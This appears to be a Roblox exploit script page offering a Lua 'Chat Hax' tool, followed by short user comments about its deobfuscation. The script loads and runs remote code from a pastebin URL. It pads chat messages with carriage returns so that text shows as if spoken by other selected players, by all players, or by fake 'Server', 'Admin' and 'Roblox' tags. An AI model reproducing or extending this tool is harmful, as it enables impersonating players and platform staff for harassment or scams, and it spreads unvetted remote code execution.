
Key RequiredUniversal

-- Chat Manipulation Script
-- Reconstructed from execution logs
local library = loadstring(game:HttpGet("https://pastebin.com/raw/4vRTxVB0"))()
local Tab1 = library:Window("Chat Hax")
-- Notification
game.StarterGui:SetCore("SendNotification", {
Title = "Credits Note",
Text = "Was Made By ameicaa.",
Icon = "",
Duration = "6"
})
-- Function to generate random prefix
local function generateRandomPrefix()
local wordList = {
"hey", "you", "where", "fine", "thanks", "bro", "same", "not", "also",
"online", "chill", "seriously", "come", "cool", "lol",
"laughing", "oops", "ugh", "dude", "let's", "we", "miss", "comeon", "relaxed", "whatever", "what", "meh",
"hello", "good", "yes", "no", "please", "sorry", "maybe", "sure", "wow", "great", "ok", "nice", "love", "like", "help", "friend", "fun", "game", "play", "work", "home", "school", "today", "tomorrow", "yesterday", "night", "day", "sun", "moon", "star", "rain", "snow", "hot", "cold", "fast", "slow", "easy", "hard", "up", "down", "left", "right", "open", "close", "start", "stop", "win", "lose", "happy", "sad", "angry", "excited", "bored", "tired", "sleep", "wake", "run", "walk", "jump", "sit", "stand", "eat", "drink", "read", "write", "watch", "listen", "speak", "think", "know", "understand", "learn", "teach", "buy", "sell", "pay", "play", "watch", "call", "text", "email", "send", "receive", "meet", "talk", "ask", "answer", "change", "keep", "find", "lose", "show", "hide", "create", "build", "break", "fix", "clean", "dirty", "strong", "weak", "young", "old", "new", "old", "fast", "slow", "big", "small", "high", "low", "long", "short", "hot", "cold", "happy", "sad", "funny", "serious", "loud", "quiet", "soft", "hard", "open", "close", "first", "last", "early", "late", "near", "far", "inside", "outside", "up", "down", "left", "right", "back", "front", "above", "below", "before", "after"
}
local wordCount = math.random(1, 1)
local words = {}
for i = 1, wordCount do
words[i] = wordList[math.random(#wordList)]
end
return table.concat(words, " ")
end
local newlineSequence = string.rep("\r", 100)
-- Section: Manipulate Single Player Chat
Tab1:Label("Manipulate Player Chat", Color3.fromRGB(127, 143, 166))
local selectedPlayer = nil
local players = game:GetService("Players"):GetPlayers()
local playerNames = {}
for i, v in ipairs(players) do
table.insert(playerNames, v.DisplayName)
end
Tab1:Dropdown("Select Player", playerNames, function(value)
selectedPlayer = value
end)
Tab1:Box("Player Chat", function(text, focusLost)
if focusLost and selectedPlayer then
if game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService then
local prefix = generateRandomPrefix()
local message = prefix .. newlineSequence .. selectedPlayer .. ": " .. text
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(message)
end
end
end)
Tab1:Box("Random Player Chat", function(text, focusLost)
if focusLost then
if game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService then
local players = game:GetService("Players"):GetPlayers()
if #players > 0 then
local randomPlayer = players[math.random(1, #players)].DisplayName
local prefix = generateRandomPrefix()
local message = prefix .. newlineSequence .. randomPlayer .. ": " .. text
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(message)
end
end
end
end)
-- Section: Manipulate Two Players
Tab1:Label("Manipulate Two Players", Color3.fromRGB(127, 143, 166))
local selectedPlayers = {}
local function getPlayerDisplayNames()
local names = {}
for _, v in ipairs(game:GetService("Players"):GetPlayers()) do
table.insert(names, v.DisplayName)
end
return names
end
local playerNames = getPlayerDisplayNames()
Tab1:Dropdown("Select Players", playerNames, function(value)
if #selectedPlayers >= 2 then
selectedPlayers = {value}
else
local exists = false
for i, name in ipairs(selectedPlayers) do
if name == value then
table.remove(selectedPlayers, i)
exists = true
break
end
end
if not exists then
table.insert(selectedPlayers, value)
end
end
end)
Tab1:Box("Players Chat", function(text, focusLost)
if focusLost and #selectedPlayers > 0 then
if game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService then
local prefix = generateRandomPrefix()
local namesWithMessage = {}
for i, name in ipairs(selectedPlayers) do
namesWithMessage[i] = name .. ": " .. text
end
local message = prefix .. newlineSequence .. table.concat(namesWithMessage, newlineSequence)
pcall(function()
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(message)
end)
end
end
end)
-- Section: Manipulate All Players
Tab1:Label("Manipulate All Players", Color3.fromRGB(127, 143, 166))
Tab1:Box("All Players Chat", function(text, focusLost)
if focusLost then
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
if TextChatService.ChatVersion ~= Enum.ChatVersion.TextChatService then return end
local players = Players:GetPlayers()
if #players == 0 then return end
for _, player in ipairs(players) do
local success, err = pcall(function()
local prefix = generateRandomPrefix()
local message = prefix .. newlineSequence .. player.DisplayName .. ": " .. text
TextChatService.TextChannels.RBXGeneral:SendAsync(message)
end)
if not success then
warn("Failed to send message to ".. tostring(player.DisplayName) ..": ".. tostring(err))
end
task.wait(0.2)
end
end
end)
-- Section: Fake Legend Chat
Tab1:Label("Roblox Legends Chat", Color3.fromRGB(127, 143, 166))
local prefixOptions = {
"Server", "Admin", "Roblox", "Console", "Developer", "1x1x1x1", "c00lkidd",
"minish", "ellernate", "itrapped", "calleb244", "007n7", "shedletsky",
"builderman", "stickmasterluke", "tubers93", "ameicaa", "merely", "0_0",
"666", "noli", "director_vivian", "dignity", "John Doe", "Jane Doe", "TheC0mmunity"
}
local customPrefix = prefixOptions[1]
Tab1:Dropdown("Select Legend", prefixOptions, function(value)
customPrefix = value
end)
Tab1:Box("Fake Legend Chat", function(text, focusLost)
if focusLost then
if game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService then
local prefix = generateRandomPrefix()
local message
if customPrefix == "Server" or customPrefix == "Admin" or customPrefix == "Roblox" or customPrefix == "Console" or customPrefix == "Developer" then
message = prefix .. newlineSequence .. "{" .. customPrefix .. "} " .. text
else
message = prefix .. newlineSequence .. customPrefix .. ": " .. text
end
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(message)
end
end
end)
-- Set up toggle keybind
library:Keybind("Tab")



?
Delete that. please
your deobfuscation is full of flaws LOLOLOLOL
How did bro deobfuscate this?